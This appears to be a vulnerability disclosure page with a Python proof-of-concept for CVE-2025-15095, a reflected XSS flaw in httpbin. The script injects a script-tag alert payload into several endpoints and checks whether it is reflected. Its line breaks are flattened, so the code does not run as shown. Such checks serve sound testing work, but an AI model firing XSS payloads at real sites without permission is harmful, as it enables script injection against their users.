CVE-2025-15095 postmanlabs httpbin XSS跨站脚本漏洞

import requests # CVE-2025-15095 XSS PoC for postmanlabs httpbin # Target: httpbin <= 0.6.1 def test_xss_vulnerability(target_url): """Test for XSS vulnerability in httpbin""" # XSS payload xss_payload = '<script>alert("XSS")</script>' # Test endpoints that reflect input endpoints = [ '/anything', '/get', '/html', '/delay/1' ] for endpoint in endpoints: try: # Inject XSS via query parameter test_url = f"{target_url}{endpoint}?input={xss_payload}" response = requests.get(test_url, timeout=10) # Check if payload is reflected without sanitization if xss_payload in response.text and '<script>' in response.text: print(f"[+] VULNERABLE: {endpoint} - XSS payload reflected") print(f" URL: {test_url}") else: print(f"[-] SAFE: {endpoint}") except requests.RequestException as e: print(f"[!] ERROR testing {endpoint}: {e}") # Example usage if __name__ == "__main__": target = "http://target-server:8080" test_xss_vulnerability(target)